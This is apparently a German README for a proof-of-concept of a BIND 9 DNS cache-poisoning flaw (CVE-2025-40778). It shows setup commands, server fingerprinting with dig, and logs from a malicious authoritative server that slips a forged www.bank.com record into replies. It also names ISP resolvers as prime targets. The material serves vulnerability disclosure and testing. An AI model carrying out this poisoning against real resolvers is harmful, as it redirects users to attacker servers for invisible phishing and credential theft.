
Proof-of-Concept, das DNS-Cache-Poisoning durch die Injektion zusätzlicher Records in BIND 9 demonstriert, mit Werkzeugen zur Validierung und Ausnutzung von CVE-2025-40778 für autorisierte Sicherheitstests.
Pädagogische Demonstration der DNS-Cache-Poisoning-Schwachstelle durch Injektion zusätzlicher Records.
NUR FÜR BILDUNGSZWECKE
Dieses Tool dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken. Die unbefugte Verwendung dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben, ist illegal und unethisch.
Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
Dieser PoC demonstriert, wie ein kompromittierter autoritativer DNS-Server vergiftete Records in DNS-Antworten injizieren kann, wodurch Benutzer möglicherweise ohne ihr Wissen auf bösartige Server umgeleitet werden.
Angriffsvektor:
Mögliche Szenarien:
👤 Autor & Kontakt
pip install dnslib
pip install dnspython
pip install scapy
(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.
;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE rcvd: 134
Dieses Tool erkennt, ob es möglich ist, die Schwachstelle CVE-2025-40778 auszunutzen
============================================================
CVE-2025-40778 - Forwarder Configuration Validator
============================================================
Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com
============================================================
CVE-2025-40778 VALIDATION - Forwarder Configuration
============================================================
DNS Server: 200.0.0.X
Domain: www.company.com
============================================================
[1/3] Resolution Test for www.company.com
------------------------------------------------------------
[✓] www.company.com → 201.0.0.X
→ Forwarder ACTIVE for www.company.com
[2/3] Additional Records Test (Poison Detection)
------------------------------------------------------------
Answers: 2 records
Authority: 1 records
Additional: 2 records
ANSWER SECTION:
→ www.company.com. 300 IN CNAME www.holding.com.
→ www.holding.com. 300 IN A 201.0.0.X
ADDITIONAL SECTION:
→ [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
→ [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
→ [!!!] MULTIPLE ANSWERS - Possible poisoning detected
[3/3] Forwarder Latency Test
------------------------------------------------------------
Query 1: 5.63ms
Query 2: 7.46ms
Query 3: 6.04ms
Query 4: 5.04ms
Query 5: 5.69ms
Average: 5.97ms
→ [✓] Forwarder working correctly
============================================================
CONFIGURATION VALIDATED
============================================================
Beschreibung: In diesem Schritt starten Sie den bösartigen autoritativen DNS-Server, der einen kompromittierten Nameserver simuliert. Der Server lauscht auf einer bestimmten IP und einem bestimmten Port (127.0.0.2:5301) und ist bereit, vergiftete DNS-Records in Antworten zu injizieren. Nach der Konfiguration antwortet er auf legitime Abfragen für www.test.local mit der korrekten IP-Adresse, injiziert aber gleichzeitig einen bösartigen Record für www.bank.com, der auf eine vom Angreifer kontrollierte IP verweist. Dieses Doppelantwort-Verhalten ist der Kern des Cache-Poisoning-Angriffs – der anfällige DNS-Resolver speichert sowohl die legitime Antwort als auch den vergifteten Record zwischen, obwohl nur eine Domain angefragt wurde.
(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py
============================================================
CVE-2025-40778 PoC - poc-linux | krakhen.dev
============================================================
[*] Listening: 127.0.0.2:5301
[*] Legit: www.test.local. → 192.168.0.136
[*] Poison: www.bank.com. → 192.168.0.100
[✓] Running. Ctrl+C to stop.
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
Beschreibung: Hier führen Sie eine Standard-DNS-Abfrage über Ihren lokalen Resolver (BIND) durch, um zu überprüfen, ob die Infrastruktur korrekt funktioniert. Die Abfrage für www.test.local sollte wie erwartet die legitime IP-Adresse (192.168.0.136) zurückgeben. Zu diesem Zeitpunkt erscheint die Antwort für den Endbenutzer normal – es gibt keine sichtbaren Anzeichen einer Kompromittierung. Hinter den Kulissen hat der anfällige DNS-Resolver jedoch bereits beide Records zwischengespeichert: den legitimen, den Sie angefragt haben, UND den vergifteten Record für www.bank.com, der im zusätzlichen Abschnitt der Antwort injiziert wurde. Dieser Schritt bestätigt, dass Ihr DNS-Resolver erfolgreich mit dem bösartigen autoritativen Server kommuniziert und dessen Antwort verarbeitet hat.
(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local. IN A
;; ANSWER SECTION:
www.test.local. 120 IN A 192.168.0.136
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE rcvd: 87
Beschreibung: Dieser Schritt zeigt die Beweise für erfolgreiches Cache-Poisoning aus der Perspektive des Angreifers. Die Protokolle des bösartigen DNS-Servers zeigen, dass er die Abfrage für www.test.local empfangen, mit der legitimen Antwort geantwortet UND erfolgreich den vergifteten Record für www.bank.com injiziert hat. Die Notation „RRs: A,A" zeigt an, dass zwei A-Records in der Antwort gesendet wurden – einer legitim, einer bösartig. In diesem Moment ist der DNS-Cache des Opfers kompromittiert. Alle nachfolgenden Abfragen für www.bank.com von diesem Resolver geben die IP des Angreifers (192.168.0.100) zurück, anstatt der echten Bank-Website, was transparente Phishing-Angriffe ermöglicht, bei denen Benutzer die korrekte URL sehen, sich aber mit einem bösartigen Server verbinden. Der Angriff ist für Endbenutzer unsichtbar und bleibt bestehen, bis der DNS-Cache abläuft (TTL).
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35413] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35413] (udp) / 'www.test.local.' (A) / RRs: A,A
1272025-10-31 10:44:57 [DNSHandler:PoisonResolver] Request: [127.0.0.1:54962] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:44:57 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:54962] (udp) / 'www.test.local.' (A) / RRs: A,A
Was das in der Praxis bedeutet:
Stellen Sie sich vor, Sie sind ein normaler Benutzer, der versucht, die Website Ihrer Bank aufzurufen. Sie tippen sorgfältig www.bank.com in Ihren Browser ein – die URL ist zu 100% korrekt, keine Tippfehler, keine verdächtigen Links aus E-Mails. Die Adressleiste Ihres Browsers zeigt die exakte Domain, der Sie vertrauen. Alles sieht legitim aus.
Aber hier ist, was tatsächlich hinter den Kulissen passiert ist:
Der DNS-Server Ihres Unternehmens wurde von einem Angreifer kompromittiert, der seinen Cache mithilfe dieser Schwachstelle vergiftet hat. Wenn Ihr Computer fragt „Wo ist www.bank.com?", antwortet der vergiftete DNS mit der IP-Adresse des Servers des Angreifers anstelle der echten Bankadresse.
Die Anatomie eines Angriffs
Was der Angreifer stehlen kann:
Warum es so gefährlich ist:
Dieser Angriff ist für das Opfer völlig unsichtbar. Es gibt keine Warnung, keine roten Flaggen, keine Möglichkeit für einen durchschnittlichen Benutzer, ihn zu erkennen. Selbst sicherheitsbewusste Fachleute können zum Opfer werden, weil der Angriff auf Infrastrukturebene stattfindet, nicht auf dem Gerät des Benutzers. Ein einziger kompromittierter DNS-Server kann Tausende von Benutzern gleichzeitig betreffen, was ihn zu einem äußerst effektiven Angriffsvektor für Cyberkriminelle macht, die Organisationen ins Visier nehmen.
Das Fazit: CVE-2025-40778 ermöglicht es Angreifern, Vertrauen zu bewaffnen. Wenn die Infrastruktur, auf die wir uns zur Navigation im Internet verlassen, kompromittiert ist, werden selbst die vorsichtigsten Benutzer verwundbar. Deshalb ist das Verständnis, Testen und Beheben dieser Schwachstelle für die Sicherheitslage jeder Organisation von entscheidender Bedeutung.
Kritische Anforderung: Damit dieser Angriff gelingt, muss das Opfer den kompromittierten DNS-Resolver verwenden. Der Angriff zielt nicht direkt auf die Geräte der Endbenutzer ab – stattdessen zielt er auf die DNS-Infrastruktur, auf die Benutzer zur Navigation im Internet angewiesen sind.
Realistische Angriffsziele:
Das Hauptziel des Angreifers ist es, DNS-Resolver zu kompromittieren, die große Benutzergruppen bedienen. Die wertvollsten Ziele sind:
Warum das wichtig ist:
Die Wirksamkeit des Angriffs skaliert mit der Benutzerbasis des DNS-Resolvers. Kompromittieren Sie einen ISP-DNS-Server, und Sie kompromittieren potenziell jeden Kunden, der seine DNS-Einstellungen nicht manuell geändert hat. Deshalb ist DNS-Sicherheit auf Infrastrukturebene entscheidend – ein einziger anfälliger Resolver kann eine massive Angriffsfläche schaffen, die Tausende oder Millionen von Benutzern betrifft, die darauf vertrauen, dass diese Infrastruktur sicher ist.